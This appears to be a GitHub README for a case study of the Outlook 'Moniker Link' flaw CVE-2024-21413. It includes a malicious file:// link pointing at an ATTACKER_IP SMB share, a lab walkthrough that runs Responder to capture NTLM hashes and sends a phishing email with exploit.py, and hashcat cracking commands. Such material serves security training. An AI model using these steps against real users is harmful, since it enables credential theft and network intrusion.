pedro-lucas-melo/Estudo-de-Caso-CVE-2024-21413
GitHub: pedro-lucas-melo/Estudo-de-Caso-CVE-2024-21413
针对CVE-2024-21413 Outlook漏洞的完整案例研究,包含漏洞原理分析、利用脚本与攻击流程演示,用于红队评估和安全培训。
Stars: 0 | Forks: 0
# CVE-2024-21413 — Moniker Link 🔗💀
### Microsoft Outlook 远程代码执行 + NTLM 凭据泄露
## 📋 目录
- [概述](#-visão-geral)
- [漏洞原理](#-como-a-vulnerabilidade-funciona)
- [实验环境](#%EF%B8%8F-ambiente-de-laboratório)
- [分步演示](#-demonstração-passo-a-passo)
- [漏洞利用脚本](#-script-do-exploit)
- [攻击流程图](#-diagrama-do-ataque)
- [缓解与防御](#%EF%B8%8F-mitigação-e-defesa)
- [CVE 详细分析](#-cve-breakdown)
- [参考资料](#-referências)
## 🔍 概述
| 字段 | 详情 |
|-------------------|----------------------------------------------|
| **CVE** | CVE-2024-21413 |
| **披露时间** | 2024年2月13日(补丁星期二) |
| **CVSS 评分** | 9.8(严重) |
| **受影响产品** | Microsoft Outlook |
| **漏洞类型** | RCE + 凭据泄露(NTLM 哈希) |
| **攻击向量** | 网络/电子邮件(无需预先认证) |
| **用户交互** | 需要用户交互(点击链接) |
| **漏洞别名** | Moniker Link |
CVE-2024-21413 是 Microsoft Outlook 中的一个严重漏洞,攻击者可以:
1. **泄露受害者的 NTLM 凭据**,通过强制 SMB 自动认证
2. **远程执行代码**,通过电子邮件中的恶意链接
"Moniker Link" 这个名称来源于对 **Component Object Model (COM) Monikers** 的利用——这是 Windows 通过字符串引用对象的机制——用于绕过 Outlook 对 `file://` 链接的安全保护。
## 🧠 漏洞原理
### 问题:受保护视图绕过
通常,Outlook 会阻止指向网络资源的 `file://` 链接,并显示安全警告(受保护视图)。问题出在 Outlook 处理包含 `!` 字符的 URL 方式上——这是 **Moniker** 的分隔符。
### 漏洞利用
恶意链接的格式如下:
```
file:///\\ATTACKER_IP\share\!something
```
`!` 字符会导致 Outlook 解析器将 URL 解释为 COM Moniker 引用,**忽略常规安全检查**。结果:
- 受害者的机器尝试通过 **SMB** 自动认证到攻击者的服务器
- 在认证过程中,受害者的 **NTLM 哈希** 会被传输
- 该哈希可用于 **Pass-the-Hash** 攻击或离线破解
### 简化流程
```
Atacante envia e-mail → Vítima clica no link → Outlook processa URL com "!"
→ Bypass da Protected View → Conexão SMB automática → Hash NTLM capturado
```
## 🖥️ 实验环境
安全重现此案例研究:
| 机器 | 操作系统 | 角色 |
|-------------|---------------------|---------------|
| 攻击者 | Kali Linux | SMB 监听器 + 漏洞利用 |
| 目标 | Windows 10/11(安装有漏洞版本 Outlook) | 受害者 |
### 所需工具
```
# Responder — listener SMB/HTTP para captura de hashes
sudo apt install responder
# Python 3 — para rodar o exploit
python3 --version
# Verificar conectividade entre as máquinas
ping
```
## 🚀 分步演示
### 步骤 1 — 确定攻击者机器的 IP 地址
```
ip a | grep inet
# Anote o IP da interface que se comunica com o alvo (ex: 192.168.56.10)
```
### 步骤 2 — 启动 Responder
Responder 创建一个伪造的 SMB 服务器来捕获 NTLM 认证哈希。
```
sudo responder -I eth0 -v
# Substitua eth0 pela sua interface de rede
```
预期输出:
```
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-ALVO\usuario
[SMB] NTLMv2-SSP Hash : usuario::DESKTOP-ALVO:...
```
### 步骤 3 — 执行漏洞利用
```
python3 exploit.py \
--sender atacante@dominio.com \
--recipient vitima@dominio.com \
--server \
--attacker-ip 192.168.56.10
```
### 步骤 4 — 等待受害者点击链接
当受害者打开邮件并点击链接时,Responder 会自动捕获 NTLM 哈希。该哈希可以:
- **分析**以识别被入侵的账户
- **用于 Pass-the-Hash** 以在网络中进行横向认证
- **发送给 Hashcat/John** 进行离线破解尝试:
```
hashcat -m 5600 hash.txt wordlist.txt
```
## 🐍 漏洞利用脚本
完整的注释脚本见 [`exploit.py`](
标签:0day, CISA项目, COM Monikers, CVE-2024-21413, Microsoft Outlook, NTLM, NTLM哈希, Pentest, RCE, Red Team, SMB, TryHackMe, 后端开发, 威胁模拟, 安全助手, 恶意链接, 漏洞分析, 漏洞复现, 红队攻防, 编程工具, 网络安全, 补丁绕过, 路径探测, 远程代码执行, 逆向工具, 错误配置检测, 隐私保护, 靶场练习